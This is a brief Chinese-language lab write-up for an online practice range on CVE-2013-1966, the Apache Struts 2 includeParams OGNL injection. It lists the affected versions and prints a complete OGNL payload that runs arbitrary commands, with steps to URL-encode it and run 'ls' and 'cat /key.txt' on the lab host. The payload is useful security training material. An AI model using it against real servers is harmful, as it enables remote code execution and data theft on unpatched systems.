靶場(chǎng)地址:
https://www.mozhe.cn/bug/detail/S0NiS2JMeTZUTVg3RXdMYzdqWTBQUT09bW96aGUmozhe
漏洞編號(hào):CVE-2013-1966
影響范圍:Struts 2.0.0 - Struts 2.3.14
漏洞原理:s:url和s:a標(biāo)記都提供includeparams屬性。
該屬性的主要作用域是了解包含或不包含http://request參數(shù)的內(nèi)容。
INCLUDEParams的允許值為:
none-在URL中不包含任何參數(shù)(默認(rèn))
get-僅在URL中包含get參數(shù)
all-在URL中同時(shí)包含get和post參數(shù)
當(dāng)INCLUDEParams被賦予了以上參數(shù),struts會(huì)進(jìn)行OGNL解析
任意命令執(zhí)行Exp:
${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('[命令]').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}
構(gòu)造需要的命令進(jìn)行url編碼,添加到http://219.153.49.228:45210/?a=[exp]
執(zhí)行l(wèi)s \命令:

執(zhí)行cat /key.txt命令:
